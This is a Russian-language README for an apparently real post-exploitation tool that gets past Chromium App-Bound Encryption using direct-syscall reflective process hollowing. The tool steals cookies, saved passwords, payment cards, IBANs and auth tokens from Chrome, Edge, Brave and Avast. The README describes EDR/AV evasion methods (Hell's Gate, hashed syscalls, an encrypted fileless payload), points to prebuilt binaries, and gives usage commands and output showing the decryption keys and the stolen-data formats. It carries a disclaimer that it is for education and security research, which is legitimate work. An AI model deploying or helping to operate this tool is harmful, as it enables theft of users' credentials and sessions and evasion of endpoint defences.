
Обход App-Bound Encryption в Chromium через Reflective Process Hollowing на основе прямых системных вызовов. Извлечение cookies, паролей, платёжных методов и токенов из Chrome, Edge, Brave и Avast — бесфайловый, в пользовательском режиме, без прав администратора.
Chrome App-Bound Encryption Decryption)Постэксплуатационный инструмент, демонстрирующий полный обход App-Bound Encryption (ABE) в Chromium, выполняемый полностью в памяти. Проект использует Direct Syscall-based Reflective Process Hollowing для запуска легитимного процесса браузера в приостановленном состоянии и скрытной инъекции полезной нагрузки с целью перехвата его идентичности и контекста безопасности. Эта техника Living-off-the-Land (LOTL) подрывает собственную модель безопасности браузера. Бесфайловый подход позволяет инструменту работать целиком из памяти, обходя хуки API пользовательского режима, чтобы расшифровывать и выводить конфиденциальные данные пользователя (файлы cookie, пароли, платёжную информацию) из современных браузеров на базе Chromium.
Если вы считаете это исследование полезным, буду благодарен за чашечку кофе:
Эффективность этого инструмента основана на сочетании современных техник, ориентированных на обход средств защиты:
Direct Syscalls for Evasion: Обходят пользовательские хуки EDR/AV на стандартных функциях WinAPI, напрямую вызывая функции ядра. Движок динамически определяет номера системных вызовов во время выполнения с помощью техники Hell's Gate и сопоставления функций по хэшу (в бинарном файле нет имён системных вызовов в открытом виде).
Direct Syscall-Based Process Hollowing: Скрытная техника создания процесса и внедрения. Вместо внедрения в процесс с высокой активностью, за которым могут следить, она создаёт новый приостановленный процесс-хост. Это значительно снижает вероятность обнаружения, поскольку все манипуляции с памятью происходят до начала нормального выполнения процесса.
Fileless In-Memory Payload: DLL полезной нагрузки никогда не попадает на диск целевой машины. Она встроена в виде зашифрованного ChaCha20 массива байт на этапе компиляции с ключами, производными на этапе компиляции, расшифровывается в памяти и загружается рефлексивно, что минимизирует криминалистический след и обходит статические сканеры файлов.
Reflective DLL Injection (RDI): Скрытный метод внедрения в процесс, который обходит LoadLibrary для основной полезной нагрузки, избегая механизмов обнаружения, следящих за загрузкой модулей. Самодостаточный загрузчик начальной загрузки отображает PE-секции, выполняет релокации и разрешает импорт из памяти.
Target-Context COM Invocation: Ключевой элемент для преодоления App-Bound Encryption. Выполняя код внутри доверенного процесса браузера, мы наследуем его идентичность и контекст безопасности, что позволяет совершать вызовы к COM-серверу ABE, которые выглядят легитимными, и удовлетворять его проверки безопасности на основе пути.
Nt*/Zw* в открытом виде — используются хэши DJB2, вычисляемые на этапе компиляции.LoadLibrary.--kill.
Примечание: Chrome/Brave/Edge 144+ используют новый COM-интерфейс
IElevator2. Инструмент автоматически используетIElevator2при его наличии и возвращается кIElevatorдля более старых версий. Avast Secure Browser использует собственный интерфейсIElevatorChromeс расширенной виртуальной таблицей (12 методов, DecryptData по смещению 104).
В этой матрице описаны возможности извлечения данных для каждого поддерживаемого браузера.
Выполнение инструмента ориентировано на скрытность и эффективность и строится вокруг процесса Reflective Hollowing на основе прямых системных вызовов. Такой подход гарантирует, что совершается мало высокоуровневых вызовов API и что полезная нагрузка работает внутри легитимного, заново созданного процесса браузера.
chromelevator.exe)ntdll.dll для определения номеров системных вызовов (SSN) с помощью сопоставления по хэшу и поиска переходников в ядро (syscall/ret или svc/ret). Если указан флаг --kill, он использует системные вызовы NtGetNextProcess и NtTerminateProcess для завершения всех запущенных экземпляров целевого браузера, снимая блокировки файлов баз данных SQLite.CREATE_SUSPENDED (CreateProcessW). Этот чистый приостановленный процесс служит хостом для нашей полезной нагрузки.NtAllocateVirtualMemory (прямой системный вызов).Bootstrap, функционирующий как собственный загрузчик PE в памяти с повышенной скрытностью:
NtAllocateVirtualMemory (в обход хукаемого VirtualAlloc).NtProtectVirtualMemory.DllMain полезной нагрузки.DllMain создаёт новый поток, который немедленно подключается к дескриптору именованного канала, переданному инжектором. Он считывает конфигурацию, включая путь вывода, отправленную инжектором. Все последующие журналы и обновления статуса передаются обратно через этот канал.IElevator2 для Chrome/Brave 144+, IElevator для более ранних версий, IEdgeElevatorFinal для Edge или для Avast Secure Browser). Поскольку вызов исходит из доверенного пути процесса, все проверки безопасности сервера проходятся успешно.В этом проекте используется простой и надёжный сборочный скрипт, который автоматически выполняет всю компиляцию и встраивание полезной нагрузки.
Клонируйте этот репозиторий.
Откройте командную строку разработчика для VS (или любую оболочку с поддержкой MSVC).
Запустите сборочный скрипт make.bat из корня проекта.
Варианты сборки:
make.bat — полная сборка (по умолчанию)make.bat clean — удалить все артефакты сборкиmake.bat build_encryptor_only — собрать только шифратор (используется в CI)make.bat build_target_only — собрать полезную нагрузку и инжектор (используется в CI)Этот проект использует GitHub Actions для автоматической сборки исполняемого файла инжектора (chromelevator.exe) для архитектур x64 и ARM64.
Последние готовые бинарные файлы можно найти на странице релизов. Исполняемые файлы для обеих архитектур упакованы в один удобный .zip-файл.
Содержимое пакета релиза:
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### Параметры
- `--output-path <path>` или `-o <path>`
Указывает базовый каталог для выходных файлов.
По умолчанию используется `.\output\` относительно расположения инжектора.
Данные будут организованы в подпапки: `<path>/<BrowserName>/<ProfileName>/`.
- `--verbose` или `-v`
Включает расширенный вывод отладочной информации от инжектора.
- `--fingerprint` или `-f`
Извлекает полные данные цифрового отпечатка браузера, включая версию, расширения, настройки безопасности и информацию о системе.
Результаты сохраняются в `fingerprint.json` в выходном каталоге браузера.
- `--kill` или `-k`
**Завершает все процессы браузера перед извлечением.** Использует прямые системные вызовы (`NtTerminateProcess`) для завершения всех запущенных экземпляров целевых браузеров перед попыткой извлечения данных. Это полезно, когда браузеры запущены и удерживают блокировки файлов базы данных, что мешает инструменту получить доступ к файлам cookie или другим зашифрованным данным.
- `--help` или `-h`
Показать это справочное сообщение.
### Обычный запуск```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 Извлечение данных
После завершения расшифровки данные сохраняются по указанному пути вывода (по умолчанию `.\output\`, если не указано через `--output-path`). Файлы организованы следующим образом:
**Базовый путь:** `YOUR_CHOSEN_PATH` (например, `.\output\` или путь, который вы укажете)
**Структура:** <Базовый путь>/<BrowserName>/<ProfileName>/<data_type>.json
Примеры путей (при условии расположения вывода по умолчанию):
- 🍪 **Куки (профиль Chrome по умолчанию):** .\output\Chrome\Default\cookies.json
- 🔑 **Пароли (Edge, профиль 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **Способы оплаты (Brave, профиль по умолчанию):** .\output\Brave\Default\payments.json
- 🏦 **IBAN (Chrome, профиль 1):** .\output\Chrome\Profile 1\iban.json
### 🍪 Извлечение куки
Каждый файл куки представляет собой JSON-массив объектов:```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
Каждый файл паролей представляет собой JSON-массив объектов:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 Извлечение платёжных методов
Каждый файл платежей представляет собой JSON-массив объектов:```json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
Каждый файл IBAN представляет собой JSON-массив объектов:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ Извлечение токенов
Каждый файл токенов — это JSON-массив объектов, содержащий сервис, расшифрованный токен и ключ привязки (если он есть):```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
При использовании флага --fingerprint или -f формируется подробный отчёт о метаданных:```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
These data provide intelligence about the browser's configuration, security posture, and system context.
## 📚 Углублённый технический анализ и исследования
Для всестороннего понимания App-Bound Encryption в Chrome, тонкостей её реализации, детальных механизмов подхода этого инструмента и более широкого обсуждения смежных векторов атаки обратитесь к моему подробному исследовательскому документу:
1. ➡️ **[Chrome App-Bound Encryption (ABE) — технический разбор и исследовательские заметки](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/RESEARCH.md)**
Этот документ охватывает:
- Эволюцию от DPAPI к ABE.
- Пошаговый разбор механизма ABE, включая COM-взаимодействия `IElevator`/`IElevator2` и обёртывание ключей.
- Подробную методологию стратегии внедрения DLL, используемой этим инструментом.
- Анализ структур зашифрованных данных и соответствующие сведения из исходного кода Chromium.
- Обсуждение альтернативных векторов дешифрования и развивающихся механизмов защиты Chrome.
2. ➡️ **[Любопытный случай вздорного COM: дешифрование App-Bound Encryption в Microsoft Edge](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
В этой статье подробно описаны конкретные трудности и путь реверс-инжиниринга, пройденный для достижения надёжного дешифрования ABE в Microsoft Edge. В неё входит:
- Описание первоначальных проблем и вводящих в заблуждение кодов ошибок (`E_INVALIDARG`, `E_NOINTERFACE`).
- Процесс использования интроспекции COM-библиотеки типов (с помощью Python `comtypes`) для выявления уникальной структуры vtable и наследования интерфейса `IElevatorEdge` в Edge.
- То, как это понимание привело к созданию специализированных C++-заглушек интерфейсов для успешного взаимодействия со службой ABE в Edge.
- Практический взгляд на отладку сложных проблем COM-интероперабельности.
3. ➡️ **[Лифт получает обновление: Chrome 144, IElevator2 и горизонт Mojo](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
В этой статье рассматривается новый COM-интерфейс `IElevator2` в Chrome 144 и что это означает для ABE:
- Техническое сравнение интерфейсов `IElevator` в Chrome 143 и `IElevator2` в Chrome 144.
- Анализ двух новых методов (`RunIsolatedChrome`, `AcceptInvitation`) и их связи с планируемой миграцией Chromium на Mojo IPC.
- Сравнение компоновки VTable, демонстрирующее сохранение обратной совместимости.
- Частичное внедрение `IElevator2` и новых интерфейсов Copilot в Edge 144.
- Честная оценка того, что миграция на Mojo меняет (а что не меняет) для безопасности ABE.
4. ➡️ **[COMrade ABE: ваше полевое руководство по COM-изнанке App-Bound Encryption](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/COMrade_ABE_Field_Manual.md)**
Это полевое руководство знакомит с **COMrade ABE** — динамическим анализатором COM-интерфейсов ABE на Python — и подробно разбирает его практическое применение:
- Объясняет необходимость динамического анализа COM-интерфейсов из-за различий и обновлений браузеров.
- Подробно описывает методологию COMrade ABE: сканирование реестра для обнаружения служб, загрузку и разбор библиотек типов (Type Library) и эвристическое сопоставление сигнатур методов ABE.
- Предоставляет исчерпывающее руководство по интерпретации выходных данных COMrade ABE, включая CLSID, IID (в стандартном и C++-стиле), а также важность деталей подробного вывода, таких как смещения VTable, определяющие интерфейсы и полные цепочки наследования.
- Подчёркивает полезность автоматически генерируемых C++-заглушек (`--output-cpp-stub`) для быстрой разработки и исследований.
- Обсуждает, как COMrade ABE помогает адаптироваться к изменениям ABE, анализировать новые браузеры на базе Chromium и понимать специфические для вендоров настройки COM.
## 🔗 Дополнительные ресурсы и исследования
Этот проект опирается на работы и анализ более широкого сообщества специалистов по безопасности.
- **Официальная документация и анонсы:**
- [Блог Google Security: повышение безопасности файлов cookie Chrome в Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [Проектный документ: служба app-bound encryption в Chrome](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **Исследования сообщества и благодарности:**
- Доказательство концепции от [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)
## 🗒️ Журнал изменений
Все значимые изменения этого проекта описаны в файле [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/CHANGELOG.md). Сюда входят история версий, новые функции, исправления ошибок и улучшения безопасности.
## 📜 Лицензия
Этот проект распространяется под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/LICENSE).
## 💡 Философия проекта и отказ от ответственности
> [!IMPORTANT]
> Это любительский проект, созданный в образовательных целях и для исследований в области безопасности. Он служит личным учебным опытом и полигоном для изучения продвинутых концепций Windows.
>
> **Этот инструмент НЕ предназначен для использования в качестве полнофункционального инфостилера или гарантированного средства обхода EDR.** Хотя он применяет продвинутые техники, его основная цель — продемонстрировать и разобрать механизм ABE, а не обеспечить оперативную скрытность для злонамеренного использования. Пожалуйста, убедитесь в соблюдении всех применимых правовых и этических норм.
| Browser | Tested Version (x64 & ARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| Feature | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| Cookies | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Passwords | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Payment Methods | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| IBANs | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| Auth Tokens | ❌ N/A | ❌ N/A | ❌ N/A |
NtWriteVirtualMemory.NtProtectVirtualMemory (прямой системный вызов).NtCreateThreadEx. Стартовый адрес потока указывает непосредственно на экспортируемую функцию Bootstrap полезной нагрузки, а в качестве аргумента передаётся адрес имени удалённого канала. Исходный главный поток браузера остаётся приостановленным и никогда не возобновляется. Затем инжектор ожидает подключения полезной нагрузки обратно к каналу.IAvastElevatorDecryptData COM-интерфейса, передавая app_bound_encrypted_key, который она считывает из файла Local State. COM-сервер послушно расшифровывает ключ и возвращает полезной нагрузке мастер-ключ AES-256 в открытом виде.Default, Profile 1 и т. д.). Для каждого профиля она запрашивает соответствующие базы данных SQLite (Cookies, Login Data, Web Data), расшифровывает блобы данных с помощью AES-256-GCM и форматирует секреты в JSON. Результаты записываются непосредственно в выходную директорию, указанную инжектором.FreeLibraryAndExitThread для очистки. Инжектор, получив сигнал, завершает родительский процесс-хост с помощью NtTerminateProcess.